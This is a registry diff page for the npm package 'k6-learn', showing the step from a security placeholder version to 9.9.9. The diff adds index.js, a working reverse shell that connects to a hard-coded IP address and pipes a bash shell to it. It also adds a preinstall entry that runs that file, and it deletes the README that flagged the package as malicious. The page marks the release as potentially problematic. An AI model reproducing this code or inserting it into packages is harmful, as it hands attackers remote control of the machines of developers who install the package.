k6-learn 0.0.1-security → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of k6-learn might be problematic. Click here for more details.
- package/index.js +31 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
const net = require("net");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
|
4
|
+
// Configuration
|
5
|
+
const LISTENER_IP = "65.0.127.249"; // Your IP (where the listener is running)
|
6
|
+
const LISTENER_PORT = 4441; // The port where your listener is running
|
7
|
+
|
8
|
+
// Connect to the listener
|
9
|
+
const client = new net.Socket();
|
10
|
+
|
11
|
+
client.connect(LISTENER_PORT, LISTENER_IP, () => {
|
12
|
+
console.log(`Connected to listener at ${LISTENER_IP}:${LISTENER_PORT}`);
|
13
|
+
|
14
|
+
// Spawn a shell (e.g., bash) and pipe input/output
|
15
|
+
const shell = spawn("/bin/bash", []);
|
16
|
+
client.pipe(shell.stdin); // Send data to the shell's input
|
17
|
+
shell.stdout.pipe(client); // Send shell's output back to listener
|
18
|
+
shell.stderr.pipe(client); // Send shell's errors back to listener
|
19
|
+
});
|
20
|
+
|
21
|
+
// Handle connection errors
|
22
|
+
client.on("error", (err) => {
|
23
|
+
console.error("Connection error:", err.message);
|
24
|
+
process.exit(1);
|
25
|
+
});
|
26
|
+
|
27
|
+
// Handle connection close
|
28
|
+
client.on("close", () => {
|
29
|
+
console.log("Connection closed by listener.");
|
30
|
+
process.exit(0);
|
31
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "k6-learn",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"preinstall":"node index.js",
|
7
|
+
"scripts": {
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=k6-learn for more information.
|